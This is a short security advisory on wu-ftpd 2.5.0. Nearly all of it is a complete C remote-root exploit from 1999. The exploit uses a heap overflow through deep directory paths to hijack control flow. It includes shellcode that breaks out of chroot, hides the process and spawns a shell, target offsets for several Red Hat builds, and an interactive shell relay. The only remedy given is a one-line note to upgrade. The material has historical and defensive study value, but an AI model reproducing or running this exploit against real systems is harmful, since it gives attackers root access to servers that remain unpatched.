COMMAND
wuftpd
SYSTEMS AFFECTED
wuftpd 2.5.0
PROBLEM
Swen Persson posted following. It's yet another 2.5.0 exploit...
/*
* wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing
* chaos that follows a heap overflow. Linux version.
*
* C0ded by nuuB [Sep 19, 1999]
*
* Compile with:
*
* cc wuftpd250-sploit.c -o wuftpd250-sploit
*
* Credits:
* typo for interesting discussions and the double combo idea.
* edi for the 'eip in PASS' idea.
* lcamtuf for finding the bug and posting on bugtraq.
* temas for a RH6 box to test this on.
*
* Quote:
*
* "<typo_> it's wicked... but you can change errcatch and LastArgv at the
* same time, thus doing an elite combo and owning the entire world"
*
* Below is a detailed description of how the exploit works. You shouldn't
* have too much trouble understanding what is going on. The code is written
* for readability and roboustness (i.e not using the 'printf()|nc' style).
*
* Have fun, but as always - BEHAVE!
*
* /nuuB
*/
/*
* Overflow:
*
* cwd(<EGG>) -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir);
*
* Pseudo call sequence for each received FTP command:
*
* if(command_not_implemented) longjmp(errcatch);
* setproctitle("<who>: <command>");
* do_<command>();
* setproctitle("<who>: IDLE");
*
* where
*
* setproctitle(<string>) {
* copy <string> to Argv[0] and pad with spaces to LastArgv;
* }
*
* Egg:
*
* /incoming/A--A/<c0de>/<c0de>A--A/eeee00001111oooooooovvvvLLLL\0
* ^- 0 ^- mp_size-255-256 ^- mp_size
*
* Pad: A--A=padding/NOP
* Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1]
* Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv
*
* mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler
*
* We can't get eip directly, but as setproctitle() copies data we have some
* control over to the area between Argv[0] and LastArgv we can do some neat
* stuff. There are several ways to do it, but this exploit uses the three
* different methods outlined below.
*
* Anon attack:
*
* We place the pointer to our c0de in PASS (used in setproctitle("IDLE")).
* eip can be snagged in different ways. One way is to overwrite the return
* address on the stack for setproctitle(), essentially turning the heap
* overflow into a stack overflow. The nature of the exploit forces us to
* know the exact place on the stack, and this varies with the environment.
* Thus this method is very unreliable, but is still included as we do
* this for fun :) A better way is to overwrite the JB_PC part of errcatch
* and then cause errcatch to be called by issuing an unimplemented command.
* Still, we need two offsets, but both are on the heap. As a bonus
* this method can't be stopped by Stack Guard or non-executable stacks.
*
* Required offsets: mapped_path, setproctitle() stack eip / errcatch.
*
* Account attack:
*
* There is no controllable data in the setproctitle("IDLE") call so we use
* two CWD's and make use of the setproctitle("CWD") calls. The first CWD
* will set the Argv stuff so the second CWD (with our eip) gets written
* where we want. The second CWD will have to change the Argv's so that
* we don't destroy the eip when the final setproctitle("IDLE") call comes.
* In this case we can't write eip to the stack as it will be hosed before
* we get a chance to use it. This method works for anonymous too and is
* unstoppable by Stack Guard etc.
*
* Required offsets: mapped_path, errcatch.
*
* Interesting finding:
*
* When trying to CWD <overflowing component> you get a 250 reply under
* RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though
* the source for wuftpd is the same in both cases. This probably has to do
* with the different kernel/libc's and how they handle long paths. Anyhow,
* this needs to be taken into account in the double combo attack.
*
* Offsets:
*
* The above methods require two offsets to be known exactly. This gives
* us a lot of combinations to try. The amount could possibly be reduced
* a bit using more eip pointers, but as mapped_path has to be known
* the number of combinations is bigger than I think is practical. Thus
* there is no option to enter offsets from the command line.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <ctype.h>
extern int errno;
/* Offsets that must be known (exactly) */
int mapped_path_size; /* not really an offset... normally 1024 or 4096 */
unsigned long mapped_path;
unsigned long eip_addr;
/* Values we want to set the corresponding variables to. Calculated from the
* above offsets.
*/
unsigned long c0de_addr;
unsigned long owned_Argv0;
unsigned long owned_Argv;
unsigned long owned_LastArgv;
#define TOP_OF_STACK 0xc0000000
/* Variable that decides if mkd_cwd() aborts on errors or not */
int mkd_cwd_bail_on_error=1;
/* Lets start collecting offsets... */
struct preset {
char *desc;
void (*attack)();
int mpsize;
unsigned long mp;
unsigned long eip_addr;
};
void attack_anon();
void attack_any();
/* Offsets can be found using gdb, objdump or ltrace */
struct preset presets[]={
{"eip RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4},
{"ljmp RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999",
attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4},
{"ljmp RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999",
attack_anon, 1024, 0x08067504, 0x08070930+5*4},
{"ljmp RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999",
attack_anon, 4096, 0x08067780, 0x08075520+5*4},
{"ljmp RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4},
{"2x RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999",
attack_any, 1024, 0x08066890, 0x0806fcc0+5*4},
{"2x RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999",
attack_any, 1024, 0x08067504, 0x08070930+5*4},
{"2x RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999",
attack_any, 4096, 0x08067780, 0x08075520+5*4},
{"2x RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4},
{0,0,0,0,0}
};
/* Some stuff we need */
int ctrl;
int verbose;
char *local_hostname;
char *target_host;
int target_port;
char *target_user=0;
char *target_pass=0;
char *target_dir=0;
/*
* This c0de breaks out of chroot() and then goes through a lot of trouble
* to hide the process from the system operator. Finally a shell is spawned.
*
* c0de:
*
* setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir("..");
* chroot("."); hide_process(); execve("/bin/sh");
*
* N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/').
*/
/* Not optimized for space as we got plenty of room */
#define C0DE_SIZE 402
char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e"
"\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62"
"\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45"
"\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03"
"\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0"
"\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27"
"\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89"
"\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0"
"\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0"
"\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04"
"\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31"
"\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3"
"\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55"
"\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3"
"\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89"
"\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90"
"\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9"
"\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03"
"\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b"
"\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40"
"\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0"
"\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09"
"\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31"
"\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2"
"\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0"
"\xeb\x81";
void usage() {
int i;
printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n"
"Usage: wuftpd250-sploit <target> <type>\n\n"
"<target> = [<user>:<pass>@]<host>[:<port>][/<writable dir>]\n\n"
"Type Neeq Distro RPM Banner date\n"
"---- ---- ------ ------------------------------- ----------------------------\n");
for(i=0; presets[i].desc; ++i) {
if(presets[i].mpsize)
printf("%2d) %s\n", i, presets[i].desc);
}
printf("\n"
" eip = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n"
" ljmp = errcatch JB_PC overwrite (heap, anonymous only)\n"
" 2x = errcatch JB_PC overwrite using 2x combo (heap)\n");
exit(0);
}
void parse_url(char *url) {
char *u, *s;
u=strdup(url);
if((s=strrchr(u, '@'))) {
*s++=0;
target_user=u;
u=s;
if(!(s=strchr(target_user, ':'))) usage();
*s++=0;
target_pass=s;
}
target_host=u;
if((u=strchr(u, '/'))) {
target_dir=strdup(u);
*u=0;
}
if((s=strchr(target_host, ':'))) {
*s++=0;
if(!isdigit(*s)) usage();
target_port=atoi(s);
}
else
target_port=21;
}
void baile(char *s) {
printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno));
exit(1);
}
void bail(char *s) {
printf("*** %s\n", s);
exit(1);
}
/* Should work on all platforms */
char *htol_LEstr(unsigned long num) {
static unsigned char buf[5];
unsigned long n;
n=htonl(num);
buf[0]=(n>>24)&0xff;
buf[1]=(n>>16)&0xff;
buf[2]=(n>>8)&0xff;
buf[3]=n&0xff;
buf[4]=0;
if(strlen(buf) != 4 ||
strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/')) {
printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num);
bail("Sploit needs to be slightly realigned. No problems, right kidz? B}");
}
return buf;
}
int connect_host() {
char *p;
int fd;
struct sockaddr_in target, me;
struct hostent *he;
int me_len;
/* Connect to victim */
memset(&target, 0, sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
if(!inet_aton(target_host, &target.sin_addr)) {
if(!(he=gethostbyname(target_host)))
baile("Unable to resolve victim hostname.");
memcpy((char *)&target.sin_addr, he->h_addr, he->h_length);
}
target.sin_port=htons(target_port);
if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed");
if(connect(fd, &target, sizeof(target))) baile("connect() failed");
/* Get local hostname */
me_len=sizeof(me);
if(getsockname(fd, &me, &me_len))
baile("Unable to determine local hostname!");
if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET)))
local_hostname=strdup(he->h_name);
else if((p=inet_ntoa(me.sin_addr))) {
strcpy(local_hostname, p);
}
else
baile("Unable to determine local hostname!");
printf("*** Local hostname: %s\n", local_hostname);
return fd;
}
char *get_response_str() {
static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */
char *p;
p=buf;
while(read(ctrl, p, 1) == 1) {
if(*p == '\r') {
*p++=0;
while(read(ctrl, p, 1) == 1 && *p != '\n')
;
if(buf[3] == ' ') {
if(verbose == 1)
printf("%4.4s\n", buf);
else if(verbose >= 2)
printf("%s\n", buf);
return buf;
}
p=buf;
continue;
}
++p;
}
bail("Server disconnected.");
return 0; /* Never reached */
}
int get_response() {
char *s;
s=get_response_str();
if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2]))
bail("Illegal response from server.");
return atoi(s);
}
void send_command(unsigned char *cmd) {
if(verbose == 1) printf("--> %4.4s\n", cmd);
if(verbose >= 2) printf("--> %s\n", cmd);
while(*cmd) {
if(write(ctrl, cmd, 1) != 1) baile("write failed");
if(*cmd == 0xff) /* 0xff -> IAC IAC */
if(write(ctrl, cmd, 1) != 1) baile("write failed");
++cmd;
}
if(write(ctrl, "\r\n", 2) != 2)
baile("write failed");
}
int mkd_cwd(char *dir) {
char buf[1024];
int r;
sprintf(buf, "MKD %s", dir);
send_command(buf);
r=get_response();
if(r != 257 && r != 521) {
printf("*** Failed to create dir (reply=%d)\n", r);
bail("Aborting.");
}
sprintf(buf, "CWD %s", dir);
send_command(buf);
r=get_response();
if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed.");
return r;
}
/* update_buffer() + shovel_data() moves data between the shell and the
* local terminal.
*/
#define BUFSIZE 128
int update_buffer(char *buf, int *idx, int thisone, int direction) {
if(thisone < 0) {
if(errno == EINTR || errno == EWOULDBLOCK)
return 0;
return 1;
}
if(!thisone)
return 1;
if(direction < 0) {
if(thisone < *idx)
memmove(buf, &buf[thisone], *idx-thisone);
*idx-=thisone;
}
else
*idx+=thisone;
return 0;
}
void shovel_data(int netfd) {
fd_set R,W;
char obuf[BUFSIZE], ibuf[BUFSIZE];
int o, i;
int done;
fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK);
fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK);
fcntl(netfd, F_SETFL, O_NONBLOCK);
o=i=done=0;
while(!done) {
FD_ZERO(&R); FD_ZERO(&W);
if(i > 0) FD_SET(STDOUT_FILENO, &W);
if(i < BUFSIZE) FD_SET(netfd, &R);
if(o > 0) FD_SET(netfd, &W);
if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R);
select(netfd+1, &R, &W, 0, 0);
if(FD_ISSET(STDOUT_FILENO, &W))
done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1);
if(FD_ISSET(netfd, &W))
done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1);
if(FD_ISSET(STDIN_FILENO, &R))
done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1);
if(FD_ISSET(netfd, &R))
done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1);
}
}
/* Do the stuff common to the attacks */
int do_prologue() {
char buf[1024];
char *s, *t;
int pos;
verbose=2;
mkd_cwd_bail_on_error=1;
if(get_response() != 220) bail("No welcome banner.");
sprintf(buf, "USER %s", target_user);
send_command(buf);
if(get_response() != 331) bail("USER failed.");
sprintf(buf, "PASS %s", target_pass);
send_command(buf);
if(get_response() != 230) bail("PASS failed.");
if(target_dir) {
sprintf(buf, "CWD %s", target_dir);
send_command(buf);
if(get_response() != 250) bail("CWD <writable dir> failed.");
}
send_command("PWD");
s=get_response_str();
if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"')))
bail("Unable to get current directory.");
/* Pos is how much of mapped_path is used so far (excluding NULL) */
pos=(t-(s+5));
printf("*** Creating deep directory. This may take some time...\n");
verbose=0;
/* Align to 256 bytes (excluding trailing /) */
memset(buf, 'A', sizeof(buf));
buf[256-(pos+1)]=0;
mkd_cwd(buf);
pos+=1+strlen(buf);
/* Keep going */
memset(buf, 'A', sizeof(buf));
buf[255]=0;
while(pos+255 < mapped_path_size-256*2) {
mkd_cwd(buf);
pos+=1+strlen(buf);
}
printf("*** Time to bring out the c0de...\n"
"*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n");
verbose=1;
/* alarm(0) B} */
/* c0de[131]=c0de[132]=c0de[255]; */
/* First part of the code */
strncpy(buf, c0de, 255);
buf[255]=0;
mkd_cwd(buf);
pos+=1+255;
/* Second part + pad */
memset(buf, 'A', sizeof(buf));
strncpy(buf, c0de+256, C0DE_SIZE-256);
buf[255-12-1]=0;
mkd_cwd(buf);
pos+=1+strlen(buf);
/* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */
return pos;
}
void attack_anon() {
char buf[1024];
int pos;
if(target_user || target_pass)
bail("Sorry, this type only works for anonymous FTP...");
printf("*** Logging in as anonymous.\n");
ctrl=connect_host();
/* Calculate offsets */
c0de_addr=mapped_path+mapped_path_size-255-256;
owned_Argv=mapped_path+mapped_path_size-8;
owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
/* "ftpd: <host>: anonymous/" */
owned_Argv0=eip_addr-(6+strlen(local_hostname)+12);
target_user="anonymous";
sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr));
target_pass=buf;
pos=do_prologue();
/* This last block starts at mapped_path[mapped_path_size-12] */
memset(buf, 'A', sizeof(buf));
/* Skip eeee for this method */
strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
/* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */
strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
pos+=1+strlen(buf);
printf("*** Total egg size is %d. Sending final component.\n", pos);
mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */
mkd_cwd(buf);
printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n"
"*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n");
/* Cause longjmp(errcatch) - only needed for the errcatch method */
write(ctrl, "MRCP\r\n", 6);
}
void attack_any() {
char buf[1024];
int pos;
int prefixlen;
if(!target_user || !target_pass) {
target_user="anonymous";
target_pass="cr@ck.er";
printf("*** Logging in as anonymous.\n");
}
ctrl=connect_host();
/* Calculate offsets */
c0de_addr=mapped_path+mapped_path_size-255-256;
owned_Argv=mapped_path+mapped_path_size-8;
/* "ftpd: <host>: <user>: CWD " */
prefixlen=14+strlen(local_hostname)+strlen(target_user);
/* 'anonymous/' pass */
if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous"))
prefixlen+=strlen(target_pass)+1-strlen(target_user)+9;
pos=do_prologue();
/* First CWD */
owned_Argv0=eip_addr-prefixlen;
owned_Argv=mapped_path+mapped_path_size-8;
owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
memset(buf, 'A', sizeof(buf));
strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
pos+=1+strlen(buf);
printf("*** Total egg size is %d. Sending 2x combo.\n", pos);
verbose=1;
printf("*** Round-house kick.\n");
mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */
if(mkd_cwd(buf) == 250) {
send_command("CWD .."); /* Back up if the chdir() was successful */
get_response();
}
/* Second CWD.
*
* Borrow some room near TOP_OF_STACK ("free space") as a safe place for
* the remaining times setproctitle() is called.
*/
owned_Argv0=TOP_OF_STACK-8;
owned_LastArgv=TOP_OF_STACK-1;
strncpy(buf, htol_LEstr(c0de_addr), 4);
strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
printf("*** Elite-airborne-double-kick-to-the-head as featured in "
"The Matrix.\n");
mkd_cwd(buf);
printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n");
write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */
}
int main(int argc, char *argv[]) {
int i;
if(argc != 3 || !isdigit(*argv[2])) usage();
parse_url(argv[1]);
/* Find the preset */
for(i=0; presets[i].desc; ++i) {
if(i==atoi(argv[2]))
break;
}
if(!presets[i].mpsize) bail("No such target type.");
mapped_path_size=presets[i].mpsize;
mapped_path=presets[i].mp;
eip_addr=presets[i].eip_addr;
(presets[i].attack)();
signal(SIGINT, SIG_IGN); /* Get rid of accidental ctrl-C */
write(ctrl, "id\n", 3); /* assert(0wnage) */
shovel_data(ctrl);
write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */
printf("\n*** I hope you behaved...\n***\n*** nuuB\n");
return 0;
}
SOLUTION
2.6.0 is out.